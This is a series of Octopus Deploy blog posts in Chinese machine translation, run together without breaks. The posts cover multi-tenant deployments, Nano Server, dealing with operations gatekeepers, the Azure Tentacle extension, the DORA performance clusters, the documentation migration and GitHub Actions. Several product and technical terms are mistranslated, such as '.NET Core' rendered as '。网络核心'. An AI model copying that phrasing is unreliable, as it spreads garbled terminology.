当时我们另一个流行的用户之声建议是关于分支，它涉及到基于包版本管理和约束部署的能力。经过一些内部讨论和 RFC，这个功能最终演变成了我们现在所说的频道。一旦这个功能最终完成，我们就渴望把它交到用户手中，这样他们就可以马上获得它的好处。然而，这意味着，不是像我们在路线图中承诺的那样阻止3.2.0发布(及其所有 channel-y 优点)只是为了包括多租户部署，而是多租户部署将不得不再次推迟到3.3.0。
RFC 已发布
“好的”，我听到你们都在说“当然，现在其他的事情都解决了，它应该很完美地包含在下一个次要版本 3.3.0 中了！”嗯，我们当然也这么认为。将多租户部署作为首要功能，我们开始就其外观进行内部设计讨论。我们最初的计划通过使用通用标签和标签集来表示租户，希望它的通用本质能够同时解决用户可能遇到的其他架构问题。使用这种方法，需要创建多个环境来满足该部署阶段不同租户的需求，使用 tags & tagsets 创建组织架构来管理这些“租户环境”组。
这种方法有其缺陷，尤其是混淆了环境(构成发布过程中部署阶段的一部分)和租户(基于不同的配置/变量促进给定环境的并行部署)的概念。幸运的是，我们的 RFC 得到了来自用户的大量讨论，这让我们思考我们是否做出了正确的架构决策。这是一个反馈循环，我们非常幸运能够将它包含在我们的设计过程中，因为从实际用户那里获得该功能的输入是非常宝贵的。
世界上最好的内部 BAs 可能会错过一些关键的见解，而这些见解正是社区能够提供的。
由@马修·阿博特、@里奇科德和@乔治·黑明斯发布的几个关键帖子提醒我们，多租户部署的一些核心动力是促进安全检查，以确保客户部署和设置在正确的时间到达正确的机器。在环境之上用标签构建一切所带来的复杂性似乎超过了其灵活性的理论优势。这似乎是 YAGNI 的一个明显例子。如果它在 Octopus Deploy 中被提升为一级实体，那么在一个租户的上下文中以隔离的方式查看和使用您的部署过程将会更加清晰。
**感谢所有对最初的多租户部署 RFC 博文发表评论的人。**您的帖子引发了团队的新一轮讨论，大家一致认为，虽然一些新想法是很好的补充，但多租户部署显然需要重新设计，以获得一流的地位。在所有这些多租户部署设计工作进行的同时，其他团队成员仍在为 Octopus Deploy 构建其他令人兴奋的新功能(您可能已经注意到过去几个月我们团队中的一些新面孔！).同样，这些变化的范围和深度需要一个新的次要版本。 3.3.0发布的博客文章再次指出多租户部署将被推后(希望)最后一次。
(自我提醒...避免路线图承诺在特定版本中包含开放特性)
将第二个 RFC 放在一起，让我们能够重复之前的问题，并提供一个似乎更符合用户期望的解决方案。在这种情况下，我还要感谢 @Scott Brickey 和 @Blair Paine 提供了关于多租户部署如何使用权限的思考，以及 @Mike Jacobs 和 @Andrew Newton 提供了租户变量的输入。为了获得良好的回应，我们将未解决的设计问题直接发布到社区中，而不是希望每个人都能“理解”并看到我们的差距在哪里。你们中的一些人给出了很好的回答，告诉我们你们对这些问题的想法，以确保我们走上正确的道路。对这个建议的普遍积极的反应给了我们信心，让橡胶上路，同时仍然保持我们的眼睛在活跃的职位。
早期访问程序
在内部，我们仍有许多围绕特定概念和行为的具体实施的设计决策，但我们的指导原则之一是让多租户部署成为一项附加功能。鉴于我们将为那些需要该功能的人提供所有新的拨号盘和交换机，我们希望隔离这些更改，而不会给不需要多租户部署的用户造成系统混乱。有很多 Octopus 部署设置(您可能是其中之一)，对他们来说，他们当前的设置“刚刚好”，不需要为多个客户部署同一个版本。出于这个原因，我们引入了多租户部署功能切换，它只需激活一次，就会开始显示管理多租户场景所需的各种组件和功能。即使启用了该功能，我们也能确保您之前未租赁的部署仍然可以继续部署，以便可以随时创建租户并使用现有版本执行部署。最后这种行为的一个结果是租户变量在部署时没有被快照，而是在部署时被合并(不要担心，我们在这一点上没有触及正常的项目变量！).我们将在未来的博客中深入探讨这个(以及其他)设计决策背后的更多细节。
由于这一新功能的规模以及与我们最初提出的解决方案的偏差，我们渴望将我们的代码交到有兴趣并愿意在流程早期提供反馈的用户手中。受 JetBrains 早期访问计划的启发，我们引入了一种类似的方法，在不同的功能块开始到位时，得到常规的不稳定 alpha 构建。这个新的Octopus Deploy Early Access Program允许我们为社区提供另一种方式来提供他们对新功能进展的反馈(在这种情况下，包括并行功能的开发预览，如弹性和瞬态环境),而不必完全致力于支持仍在进行中的架构设计。我们再一次得到了很好的反馈，这影响了我们前进的方向，即使是在这个后期阶段。非常感谢所有花时间下载、安装和使用3.4-alpha版本的人！听到用户对产品的正面体验，甚至是部分完整的产品，我们信心大增。
目前处于测试阶段
经过长时间的等待，我们很高兴在我们最新的 3.4.0-beta0001版本中提供了迫切需要的多租户部署特性。它还没有完全完成的功能，但它已经到了一个阶段，我们有信心应该有很少的结构变化。我们预计第二个测试版将在接下来的几周内发布，而完整的 RTW 可能在几周之后发布。虽然我们没有提到提供反馈的每个人的名字，但请放心，每个反馈对于实现多租户部署都是无价的。
这个旅程教会了我们社区驱动的开发在帮助塑造大型特性方面的价值，在这些特性中，用户最了解他们需要解决的问题。RFC、EAP 和 beta 计划结合在一起，让你——用户——参与到你想要的产品的设计过程中，对此我们表示感谢。
这可能是一个漫长的过程，但由于我们用户的支持，我认为它已经有了一个更好的形状，符合你的设想，但仍然很容易破解。
有关多租户部署的更多信息，请参见我们的新指南。
部署的未来:纳米服务器和。网络核心-八达通部署
原文：https://octopus.com/blog/nano-server-future-deployment-models
在过去的几个月里，我花了相当多的时间与ASP.NET Core 1在一起，本周我一直在深入研究 Windows Server 2016 和 Nano Server 。有一点是明确的:对于开发人员来说，当所有这些都投入生产时，我们部署和运行应用程序的方式将会发生相当大的变化。
背景
现在，像 Octopus 这样的工具的工作方式是把你的应用程序打包成一个 ZIP 文件，然后把它推到一台远程机器上。在那里，它被解压缩、配置，一个新的进程被启动，同时一个旧的进程被淘汰。流程可能是:
- NT 服务(我们停止旧的服务，启动新的服务)
- 一个 IIS 网站(旧的应用程序池工作进程死亡，一个新的创建)
就堆栈而言，它看起来像这样:
或者也许像这样:
虽然您也许可以为每个应用程序版本创建一个新的虚拟机映像，部署一个全新的虚拟机并关闭旧的虚拟机，但现在没有人这样做，因为:
- VHDX/磁盘镜像文件非常庞大，至少有几十 GB 以上；而且，
- 启动要花很长时间
(这就是为什么任何使用 Azure 云服务的人都会告诉你他们有多讨厌部署它们。也许如果纳米服务器已经存在，云服务将会变得巨大)
换一种方式思考这个问题:目前，在应用程序的不同版本之间唯一可行的“部署单元”是过程。为每个应用程序变化构建和部署一个新的虚拟机是很疯狂的(在 Windows 上)。
Windows Server 2016:纳米服务器和容器
Windows Server 2016 有三种风格。我们已经熟悉的前两个:带有 GUI 的服务器和服务器核心。那里没什么有趣的。
第三种风格是纳米服务器，它是游戏规则的改变者。以下是纳米服务器的有趣之处:
- 它小得可笑。完整的 Nano 服务器虚拟机映像，包含 IIS、PowerShell 和。NET Core，是 750mb。
- 它快速启动。从“打开”到“IIS 响应 HTTP 请求”的时间是几秒钟。
- 内存使用等。非常小，大约 170mb。
像 Linux 发行版一样，Nano Server 也为您提供了如何运行它的选择:
- 在裸机上
- 作为 Hyper-V 客户机器
- 在容器内
是的，Windows Server 2016 的另一个重大变化是容器。这是一项由 Docker 等公司在 Linux 操作系统上推广的技术，它也将进入 Windows。
许多应用程序部署单元
有了 Nano Server，当您考虑在 2016 年发布和部署您的应用时，突然有了许多选择:
假设您的团队正在进行为期两周的冲刺，并且每两周交付一个新版本的软件进行测试，然后最终投入生产。现在，您可以选择如何交付新软件:
- 编译您的应用程序并将其压缩(约 50mb) -流程级部署(现在)
- 编译你的应用程序，把它放在一个容器映像中(Docker build-> image)——容器级部署
- 编译您的应用程序，并生成新的 Nano Server VHDX (~800mb) -虚拟机级部署
Nano 服务器映像的微小尺寸使它们成为您连续交付管道中非常可信的“构建工件”。当您可以使用大致相同的时间和工件大小构建整个虚拟机映像时，为什么要构建 MSI 或 ZIP 呢？
对于 Octopus 来说，这意味着我们需要开始在这个堆栈的每一层进行操作。现在，当您创建一个发布时，您选择 NuGet/ZIP 包的版本以包含在发布中。在未来，这将意味着:
- 选择构成这个版本的 NuGet/ZIP 包:Octopus 部署到一个现有的运行目标
- 选择构成这个版本的 Docker/container 映像:Octopus 部署到 Docker/container 主机
- 选择构成此次发布的 VHDX:Octopus 部署到 Hyper-V 主机
取舍，以及如何选择
这些变化的最大好处是隔离和安全:微软现在只关注 Azure，所以投资能够运行微小的、完全隔离的操作系统映像是非常有意义的。
隔离在企业中也是一种好处。有多少次您需要部署一个新版本的应用程序，或者想要部署一个新版本的应用程序。NET 运行时，但被告知不能这样做，因为这可能会破坏系统上的其他应用程序。
另一方面，容器映像和 VHDX 使得部署时配置有点笨拙。在理想情况下，我们将在测试和生产环境中使用相同的容器映像/VHDX。但是测试和生产可能使用不同的数据库连接字符串。
- 使用流程级部署，就像解压缩后修改配置文件一样简单
- 使用容器级部署，您可以将一些变量/连接器放入容器中，但是这样不够灵活
- 借助基于 VHDX 的部署，您可以为每个环境构建不同的 VHDX，或者先启动虚拟机并对其进行配置
作为另一个例子，也许您的应用程序允许每个部署启用不同的附加包。同样，在部署流程时，在运行时“组合”这些应用程序要比试图在 VHDX 中组合它们更容易，如果那是部署的单元的话。
无论您如何交付新版本的应用程序——作为 zip、Docker 图像、VHDXs 或可启动 USB 拇指驱动器——Nano Server 都是一个选项。这是一个非常引人注目的问题。
。网络核心和纳米服务器是未来
凝视着我的水晶球，我将做出两个大胆的预测:
- 完整的。NET 框架现在是遗留的；5 年后，大多数绿地 C#/。NET 应用程序将针对。网络核心
- 具有 GUI 和服务器核心的 Windows 服务器现在是传统的；大多数绿地环境将建立在纳米服务器上
请这样想:任何对服务器应用程序真正重要的东西要么被移植到。NET Core，或将在未来几年。如果你的 app 能瞄准。NET Core，那就应该。没有理由把自己限制在最大限度内。NET Framework，也是将您与完整的。随着这些技术的消亡，NET Framework 将会逐渐消失。
如果你的应用针对。NET 核心，那么应该可以在 Nano 服务器上运行。如果你能在微小、快速、小表面积的 Nano 服务器上运行，为什么要保留 GUI 服务器或服务器核心的所有开销？
也就是说，我确信 Windows Server 的“完整版本”将继续存在很长一段时间，主要是针对那些被当作“宠物”而不是“牛”的服务器。例如域控制器、SQL Server 主机等。-但这将是一个小的利基市场。对于大部分水平扩展的服务器(应用和网络服务器)，纳米服务器是未来的发展方向。
与守门人谈判-章鱼部署
原文：https://octopus.com/blog/negotiating-with-the-gatekeepers
“不管他们告诉你什么，这总是一个人的问题。”杰拉尔德·温伯格
这篇博文不是关于软件、自动化或过程的。今天我选择写人。
上个月，我写了一篇关于变革顾问委员会(cab)效率低下的文章。在讨论官僚化的变更审批流程或带有风险的不健康态度所带来的危害时，我没有手下留情。我袖手旁观每一个字。
后来，在 Twitter 上，一些人问我如何处理来自各种把关者的拒绝，所以今天我想就此说点什么。但是在我们继续之前，我想尝试一些不寻常的东西。
亲爱的读者，我请求你给我一个信念的飞跃。
开始了…
上午 8 点。
你只喝了一杯咖啡。你从第二个杯子里喝了一小口，然后放回杯子里。
很酸。显然，你今天早上很匆忙。这很难令人满意，但你还是决定把剩下的都压下去。你会需要的。
噼里啪啦。许愿洗。
两条车道关闭了。你哪儿也去不了。他们几个月来一直在路上挖洞，但你看不到任何进展的迹象。
令人讨厌的“噼里啪啦”的天气和你的雨刷，让你一直用来支撑自己的耐心都发痒了。
噼里啪啦。许愿洗。
你已经熬了半个晚上了，因为一些“摇滚明星”昨晚在没有告诉你的情况下运行了一个剧本——他们犯了一个愚蠢的错误。你坐在马路对面的车流中，这时你的手机通知你出了严重的问题，从那以后你一直在处理后果。
这已经不是第一次了，但是你的老板仍然希望你在早上 9 点整回到办公室。
起初你冷静而积极地处理这些问题。您试图帮助摇滚明星理解这些问题，但是他们不感兴趣，因为“那是 DBA 的事情”。
噼里啪啦。许愿洗。
你已经学会接受睡眠不足是家常便饭。真正让你恼火的是你没有给你的小男孩读他的睡前故事。你已经 24 小时没见过他了。你怀念他厚颜无耻的笑容，不禁怨恨某个好战的开发者从你那里偷走了那些宝贵的时刻。你觉得自己是个糟糕的家长。
你试着把它放在脑后。不专业。
噼里啪啦。许愿洗。
你的老板很生气。系统离线了几个小时，您丢失了少量数据。一些相关服务也受到了影响，因此你的老板受到了其他管理者的压力，这些管理者拥有的政治权力多于技术能力。
是时候面对现实了。“你是怎么让这一切发生的？”“为什么你花了这么长时间才让一切恢复正常？”人们都在流血。
有一个回顾(指责马戏团)第一件事。你需要在那里，但你只是一个躯壳。
现在是 11 月底——现在不是丢掉工作的时候。你的思绪回到了你的孩子身上，还有取消圣诞节的想法。太多了。
噼里啪啦。许愿洗。
下雨了。布雷克莱特。劣质咖啡。
你看了一眼手表。你意识到你可能会迟到，感到一阵恐慌袭上你的脊柱。甚至没有人在停机坪上那些看起来毫无意义的洞里工作！
振作起来。你在工作中因冷静、勤奋和专业而受到尊重。你能行的。
深呼吸。数到十。
一…二…
上午 9 点 05 分
“除非我死了！”你听到自己尖叫。你最后一点耐心也没了，你再也无法控制了。
这次回顾展本可以进行得更好。
“讲道理，”这位摇滚明星以高人一等的口吻说道。“我们在应用部署方面从来没有这些问题，因为我们是通过 Octopus 来完成的。如果我们可以按需发布，我就不需要背着你了。”
这句话出来的时候，摇滚明星笑了。它们是针对你的，但却是为 VIP 观众设计的。纵容小…
你可以感觉到愤怒在沸腾。接下来的几分钟不太顺利。
一点点同情会有很大帮助。
我以前就是那个“摇滚明星”。我不理解守门人。我认为它们是瓶颈。我可能试着比上面的角色更有礼貌一点，我从来没有时间参与政治(有时对我不利)，但我承认我可能给人留下年轻、天真和自大的印象。在某种程度上，我可能真的把那些看门人看成恐龙了。我可能真的觉得我知道得更多。他们可能说得有道理。
我看到很多在工作头衔中带有“DevOps”或“SRE”的人也有同样的行为。这给人一种居高临下的感觉，更有可能引发分歧，而不是统一筒仓。当与资深工程师交谈时尤其如此，他们一生都在勇敢战斗，以保持这些脆弱的服务器运行，却从来没有一个了解问题的老板，也没有他们妥善解决问题所需的资源。
事实是，我参加过不同的会议，读过不同的书，在不同价值观的公司工作过。守门人甚至没有推特账号…
我非常喜欢西蒙·西内克的《从为什么开始》。如果你还没有看过他的 TED 演讲，请将这段 18 分钟的视频收藏起来，下次喝咖啡的时候再看。
Sinek 的基本思想是“人们不是买你做的东西，而是买你为什么做”。在你开始提出具体的计划之前，比如自动化生产部署或缩减出租车的规模，你需要真诚地向人们展示你也相信同样的事情。
Sinek 开玩笑说马丁·路德·金从来没有发表过“我有一个计划”的演讲。它不会有同样的吸引力。人们可能不同意最佳的行动计划，但是如果他们相信你分享他们的梦想，他们可能愿意给你一半的机会。
如果你想在开发和运营之间建立一座跨越“困惑之墙”的桥梁，忘掉你当前的小纠纷。试着在不公开的、没有会议室那么正式的地方与看门人会面，和他们谈论他们真正关心的更大的问题。你可能会发现你们比想象中有更多的共同点。
毕竟，你们都是在完成任务，而不是破坏事情。你们都不想被解雇，尤其是在圣诞节前。
自 2010 年以来，Alex Yates 一直在帮助组织将 DevOps 原则应用于他们的数据。他最引以为豪的是帮助 Skyscanner 开发了一天 95 次部署的能力，以及支持联合国项目服务办公室的发布流程。亚历克斯与除南极洲以外的各大洲的客户都有过合作——所以他渴望见到任何研究企鹅的人。
他是一名热心的社区成员，共同组织了数据接力，是www.SpeakingMentors.com的创始人，自 2017 年以来一直被公认为微软数据平台 MVP 。
亚历克斯是官方八达通部署合作伙伴 DLM 顾问的创始人。他喜欢为那些希望通过改进 IT 和数据库交付实践来实现更好业务成果的客户提供指导、辅导、培训和咨询。
如果你想和亚历克斯一起工作，请发电子邮件:enquiries@dlmconsultants.com
Azure 虚拟机扩展- Octopus 部署
回到 2014 年 10 月，我们非常兴奋地宣布【Azure 的虚拟机扩展，它允许你安装触手代理，并将其连接到你的 Octopus 服务器。
然而，在软件的世界里(尤其是在云的世界里)，事情在继续发展。微软对 Azure 门户和使这些扩展可用的基础设施进行了重大更新——我们的扩展不再兼容，并已从门户中移除。
今天，我很高兴地宣布，我们已经从头开始重新编写了扩展，它现在可以供您愉快地使用。
我能用它做什么？
新的扩展允许你安装或卸载触手，以及在 Azure 虚拟机上更新触手的配置。
你可以通过 Azure 门户、 PowerShell 、 Azure CLI 或 ARM 模板来实现。(有人告诉我，这甚至可以通过 Terraform 实现，但这超出了本文的范围！)
使用新的 Azure 门户
在 Azure 门户中，选择您的虚拟机，点击Extensions并点击+ Add按钮。选择Octopus Deploy Tentacle Agent扩展，点击Create。按照要求填写字段，点击OK，扩展将被部署。
使用 PowerShell (Azure 资源管理器(ARM)模式)
$publicSettings = @{
OctopusServerUrl = "https://octopus.example.com";
Environments = @("Env1", "Env2");
Roles = @("app-server", "web-server");
CommunicationMode = "Listen";
Port = 10933
}
$privateSettings = @{"ApiKey" = "<MY SECRET API KEY>"}
Set-AzureRmVMExtension -ResourceGroupName "resource-group-name" `
-Location "Australia East" `
-VMName "vm-name" `
-Name "OctopusDeployWindowsTentacle" `
-Publisher "OctopusDeploy.Tentacle" `
-TypeHandlerVersion "2.0" `
-Settings $publicSettings `
-ProtectedSettings $privateSettings `
-ExtensionType "OctopusDeployWindowsTentacle"
使用 ARM 模板
您可以在创建虚拟机时部署扩展，或者更新扩展资源组以便以后应用扩展。
像往常一样创建您的 ARM 模板，并在您的Microsoft.Compute/virtualMachine资源下添加一个resources元素:
"resources": [
{
"type": "Microsoft.Compute/virtualMachines/extensions",
"name": "[concat(parameters('vmName'),'/OctopusDeployWindowsTentacle')]",
"apiVersion": "2015-05-01-preview",
"location": "[resourceGroup().location]",
"dependsOn": [
"[concat('Microsoft.Compute/virtualMachines/', parameters('vmName'))]"
],
"properties": {
"publisher": "OctopusDeploy.Tentacle",
"type": "OctopusDeployWindowsTentacle",
"typeHandlerVersion": "2.0",
"autoUpgradeMinorVersion": "true",
"settings": {
"OctopusServerUrl": "http://localhost:81",
"Environments": [
"Development",
"Staging"
],
"Roles": [
"App Server",
"Web Server"
],
"CommunicationMode": "Listen",
"Port": 10933
},
"protectedSettings": {
"ApiKey": "API-ABCDEF1234567890ABCDEF12345"
}
},
"dependsOn": [
"[concat('Microsoft.Compute/virtualMachines/', parameters('vmName'))]"
]
}
]
有关更多信息和示例，包括 Azure 服务管理(ASM)模式、Azure CLI 等的说明，请查看我们的文档。
新的 DevOps 性能集群- Octopus 部署
2022 年，DevOps 的加速状态报告包含一些惊喜。一个是对传统性能集群的改变。该报告还介绍了一种使用额外维度对组织进行分组的新方法。
这篇文章向您介绍了最初的性能集群，解释了其中的变化，并描述了如何使用新的集群。
以前的更改
这不是第一次发生变化了。在过去的 8 年里，随着研究人员发现新的联系或探索新的方向，情况发生了变化。过去的一些变化对新的聚类技术有直接的影响。
在过去的 DevOps 报告中，DORA (DevOps 研究和评估)研究人员使用 4 个关键指标根据绩效将组织分为几组:
部署频率
变革的准备时间
变更失败率
平均恢复时间
2018 年，DORA 增加了一个新的指标可用性来衡量一个组织的运营绩效。他们后来把这个改成了可靠性。
您可以使用最初的 4 个度量标准(通常称为 4 个关键)来度量软件交付性能，但是使用所有 5 个度量标准可以让您度量软件交付和操作性能，通常简称为 SDO 性能。
在所有 5 项衡量指标上表现良好将推动组织绩效。当团队在这些指标上表现出色时，您的组织更有可能实现其目标。您的操作性能支持软件交付性能和组织成果之间的关系。
簇
分类是一组数据，其成员彼此之间的相似程度高于与另一组中的项目的相似程度。这在 DevOps 报告的状态中是有用的，因为它允许许多组织被有条不紊地安排用于比较。
研究团队使用层次聚类来发现 DevOps 报告状态中的性能组。这种技术没有预先定义聚类，而是让它们从数据中显现出来。
研究人员使用聚类测试假设。例如，通过根据部署频率对组织进行分组，他们可以看到部署频率越高的组织越有可能实现他们的目标。每次研究人员在不同的样本上重复分析，他们可以测试假设的有效性。这种科学方法是研究人员如何增加他们对推动绩效的实践的信心。
软件交付性能集群
如果您已经关注 DevOps 报告有一段时间了，您将会对软件交付性能集群很熟悉。根据吞吐量和稳定性指标，每个组代表不同的性能级别。这通常会导致 4 个集群。
| 性能水准 | 研制周期 | 部署频率 | 变更失败率 | 平均解决时间 |
|---|---|---|---|---|
| 精英 | 不到 1 小时 | 每天多次 | 0-15% | 不到 1 小时 |
| 高的 | 1 天- 1 周 | 每周到每月 | 16-30% | 不到 1 天 |
| 中等 | 1-6 个月 | 每月一次到每半年一次 | 16-30% | 1 day - 1 week |
| Low | > 6 个月 | 少于每 6 个月一次 | 16-30% | 超过 6 个月 |
组织可以根据吞吐量和稳定性指标将他们的软件交付性能与集群进行比较，并确定潜在的改进领域。
软件交付集群在 2022 年如何变化
2022 年软件交付集群最明显的变化是只有 3 个组，而不是 4 个。elite performance 组的删除将在后面进行更详细的描述，但是让我们首先考虑对其他集群的更改，因为它们同样令人惊讶。
低绩效群体
您会发现最低集群的性能在 3 个指标上都有所提高，交付时间和部署频率与 2021 年的中等性能集群相当。解决问题的平均时间也缩短了 6 倍以上。但是，变更失败率增加了。
| 性能水准 | 研制周期 | 部署频率 | 变更失败率 | 平均解决时间 |
|---|---|---|---|---|
| 2021 中等 | 1-6 个月 | 每月一次到每半年一次 | 16-30% | 1 天- 1 周 |
| 2021 年低点 | 超过 6 个月 | 少于每 6 个月一次 | 16-30% | 超过 6 个月 |
| 低(新) | 1-6 个月 | 每月一次到每半年一次 | 46-60% | 1 周- 1 个月 |
中等表现群体
中等性能组在交付时间和部署频率方面有所改进，在这些指标上与 2021 的高性能组相当。他们还减少了解决问题的平均时间，并保持了相同的变更失败率。
| 性能水准 | 研制周期 | 部署频率 | 变更失败率 | 平均解决时间 |
|---|---|---|---|---|
| 2021 年高 | 1 天- 1 周 | 每周到每月 | 16-30% | 不到 1 天 |
| 2021 中等 | 1-6 个月 | 每月一次到每半年一次 | 16-30% | 1 天- 1 周 |
| 中等(新) | 每周到每月 | 每周到每月 | 16-30% | 1 天- 1 周 |
高绩效团队
高性能组融合了 2021 的高性能和精英集群的性能。
| 性能水准 | 研制周期 | 部署频率 | 变更失败率 | 平均解决时间 |
|---|---|---|---|---|
| 2021 精英 | < 1 hour | 每天多次 | 0-15% | 不到 1 小时 |
| 2021 年高 | 1 天- 1 周 | 每周到每月 | 16-30% | < 1 天 |
| 高(新) | 1 天- 1 周 | 每天多次 | 0-15% | 不到 1 天 |
精英表演团
2022 年只有 3 个集群出现，所以 2022 年没有精英表演组。对此有两种解释:
- 2022 年的精英受访者被吸收到改进的高性能集群中。
- 与前几年相比，2022 年的人口特征有所不同
在前几年，许多回答者已经从事软件交付超过 10 年。2022 年，拥有十年以上工作经验的受访者比例下降了一半。这一变化似乎并不令人惊讶，因为大多数受访者的经验比往年回答调查的人少。
虽然您可以看到人口统计方面的明显变化，但不知道这是否使样本更多或更少地代表了软件开发行业。在回顾您团队的绩效水平时，您可以将您团队的经验与调查受访者进行比较，看看您是否有机会接触到经验丰富的开发人员，他们可以产生很大的影响。
人口结构的变化和随后精英群体的消失表明，经验驱动绩效。然而，具体能力和结果之间的联系每年都保持一致。
去除精英性能类别并不意味着这些组织放弃了软件开发。每年都有不同的人对调查做出回应，这次受访者的类型有了不同寻常的转变。今年的受访者总体经验较少，因此他们在吞吐量和稳定性指标上表现不佳也就不足为奇了。
调查对象的人口结构变化没有打乱 DevOps 的年度研究，而是提供了一个发现新探索方向的独特机会。
软件交付绩效总结
在下面的图表中，你会看到 2021 年和 2022 年的对比。每个集群的垂直位置表示性能水平，圆圈表示每个组的大小。
性能和分布的变化意味着您可以将它们视为 3 个新的性能集群，而不是以前集群的发展。需要进一步的研究来了解这些变化，但这可能与受访者的人口统计变化有关。
SDO 性能集群
除了软件交付组的变化之外，DORA 还增加了一个新的分解，将操作性能考虑在内。针对 SDO 性能的新集群使用吞吐量、稳定性和运营性能的所有 5 项指标:
部署频率
变革的准备时间
变更失败率
平均恢复时间
运算性能
- 可靠性
可靠性度量捕获团队实现其可靠性目标的频率。
分配给组的标签暗示了一个场景，在这个场景中，您可能期望与指标相关联的性能。例如,“起始”集群展示了在产品或功能开发的早期阶段，您对团队的期望。这一组在每个维度上都表现平平。在早期阶段，团队可能更关注创新而不是可靠性。
以下是 SDO 性能集群，突出显示了低性能:
| 串 | 研制周期 | 部署频率 | 故障率 | MTTR | 可靠性 |
|---|---|---|---|---|---|
| 开始 | 1 周- 1 个月 | 每周或每月 | 31-45% | 1-7 天 | 有时 |
| 流动的 | < 1 day | On demand | 0-15% | 不到 1 小时 | 通常 |
| 放慢 | 1 周- 1 个月 | 每周或每月 | 0-15% | 不到 1 天 | 通常 |
| 退休 | 1-6 月 | 每月一次或每半年一次 | 46-60% | 1-6 个月 | 通常 |
这些组比软件交付性能集群更具描述性。组织可以采取更平衡的方法，而不是在所有产品和团队中追求高绩效。您可以为开发核心产品的团队和开发新产品的团队制定不同的绩效水平。
这种方法并非没有危险。许多团队永久地停留在初始组中，从来没有解决可靠性问题，这将释放软件交付性能对组织范围的成就的积极影响。您可能已经在类似退休集群的团队中工作过，尽管正在积极开发软件产品。退出集群的性能特征将出现在官僚组织中，其中操作团队充当看门人，防止更改在系统中移动以保持稳定。
您可以将集群名称视为有意选择性能的最佳解释。例如，当开发一个新的想法时，你可能选择放弃一些可靠性来鼓励冒险和创新。如果你没有做出有意的选择，你就冒着编造一个故事来解释糟糕表现的风险。未来的研究可能会测试这些聚类名称的准确性。
新集群最实际的应用是使用它们将您的精力集中在核心软件系统上。您销售的系统和给您带来竞争优势的业务线应用程序是最先进入流动状态的。永远不要把这些系统归类为变慢，只有当你有一个退出或替换的有效计划时，才指定一个系统为退役。
处于流动状态的团队更普遍地使用 DevOps 结构方程模型的功能，例如:
你可以在 DevOps 工程师手册中阅读更多关于连续交付能力的信息。
虽然一些组织在没有达到 SDO 性能的流动状态的情况下实现了足够的性能，但是他们以更高的成本做到了这一点，增加了倦怠、更多未计划的工作和更低的变更率。
结论
最初的软件交付性能集群在您的组织中的性能评估中仍然是关键的。运营绩效释放高绩效的优势，将其影响扩展到组织层面。新的 SDO 性能集群试图证明可靠性对软件交付的重要性，但由于试图分配非判断性标签，可能会产生误导。
精英表演集群的消失很可能与人口结构的变化有关。此外，这可能让我们发现团队需要有经验的开发人员来实现最高的性能水平。
您必须将这些行业范围的见解与本地的衡量策略结合起来，以确保您的持续改进工作是由它们对您的组织的实际影响来引导的。DevOps 报告的状态是你对你的软件交付过程进行具体的和可测量的变更的灵感来源。
进一步阅读
愉快的部署！
Octopus 文档的新家- Octopus Deploy
我们已经将文档转移到octopus.com/docs，文档的来源在 Markdown，而托管在 GitHub 。
自 2012 年以来，我们一直在 Atlassian Confluence 主持 Octopus Deploy 的产品文档。Atlassian 提供了云托管版本的 Confluence，但出于只有他们自己能解释的原因，他们不支持 CNAME 的，这对我们很重要。这给我们留下了两个选择——我们要么自己主持，要么找别人主持。我们选择了一家名为 QueryFoundry 的公司，他们在过去的 3 年里相当可靠地为我们托管了 Confluence。
1 月 17 日，我们醒来发现我们的文档离线了。QueryFoundry 的网站也是如此。我们等待着，以为他们会很快恢复在线。24 小时后，他们仍然离线，他们只提供了几个状态更新，事情看起来很糟糕。
不幸的是，我们没有任何最近的文档备份。我们很快建立了一个页面，说我们的文档不可用，然后开始搜索谷歌的缓存和 Archive.org 来寻找这些页面的副本。在这个阶段，我们假设我们的文档永远不会回来了！
大约 48 小时后，QueryFoundry 恢复了，我们的 Confluence 服务器也恢复了。我们能够导出我们的文档，喘口气，责备自己没有最近的备份，然后坐下来想出一个计划。
我们有几个选择:
- 我们可以坚持使用 query foundry——毕竟，这些事情会发生。但令我失望的是，他们在停机期间很少更新状态。
- 我们可以找其他人来主持合流
- 我们可以找些别的东西
对于 API 或库文档，有一些很棒的托管选项- readme.io 是我的最爱之一。
最终，受到我们在special的朋友的启发，我们决定将我们所有的文档转换成 Markdown，然后将它们放在 GitHub 的存储库中——使用 GitHub 或者本地的文本编辑器来编辑文档是很好的。
我们原本计划在 markdown 上使用一个静态站点生成器，但是我们希望它与我们网站搜索/站点地图文件的其余部分集成，并在octopus.com/docs托管文档。因此，我们构建了一个工具，将它们同步到运行该网站的自制 CMS 中，使用 Markdig 进行转换。
无论如何，我们尽快开始迁移是件好事...在首次停机后大约一周，我们收到了来自 CloudShards 的这封令人悲伤的电子邮件:
从 Confluence exports 到在我们自己的网站上托管大约需要一周的时间，我们仍然需要浏览几个页面来手动修复它们，但我对最终结果非常满意:
记住做备份，即使是托管服务！
Octopus Deploy 的 GitHub 动作中的新功能- Octopus Deploy
2021 年 6 月，我们在 GitHub Marketplace 中发布了我们的第一组动作，以将您的 GitHub 工作流与 Octopus Deploy 集成。
我们最近改进了这些动作的可用性，并在章鱼部署 v2 的 GitHub 动作中增加了一个新动作，作为章鱼 2022 年第三季度发布的一部分。
我们的更新包括:
- 永远发布标签支持
- 提高可用性
- 新的推送构建信息操作
- 工作摘要
在这篇文章中，我将带你了解我们所做的改变，以及你如何从中获得最大收益。
请注意，这篇文章假设你知道用 GitHub 操作构建工作流的基础知识。要了解更多信息，请访问 GitHub 文档。
永远发布标签支持
为了提高可用性，我们现在在所有的 GitHub 动作中支持 release 标签的语义版本化。有了这一改变，您现在可以比以前更容易地在工作流程中引用发行标签:
uses: OctopusDeploy/create-release-action@v2.0.0 # major.minor.patch
uses: OctopusDeploy/create-release-action@v2.0 # major.minor
uses: OctopusDeploy/create-release-action@v2 # major
我们对操作所做的任何更改都会自动更新我们的发布标签。这些更改将被合并到您的工作流中，具体取决于它们的引用方式。
例如，引用仅指定了主要版本的操作意味着您的工作流将自动选取次要版本和修补程序更新附带的更改。
#use v2 of push-package-action which includes all updates to minor and patch versions
uses: OctopusDeploy/push-package-action@v2
#use v2.1 of push-package-action which includes all updates to patch versions
uses: OctopusDeploy/push-package-action@v2.1
#use v2.1.3 of push-package-action (pinned version; no updates)
uses: OctopusDeploy/push-package-action@v2.1.3
我们建议您只固定到主版本(v2 ),这样您就可以在错误和安全修复可用时自动受益。
提高可用性
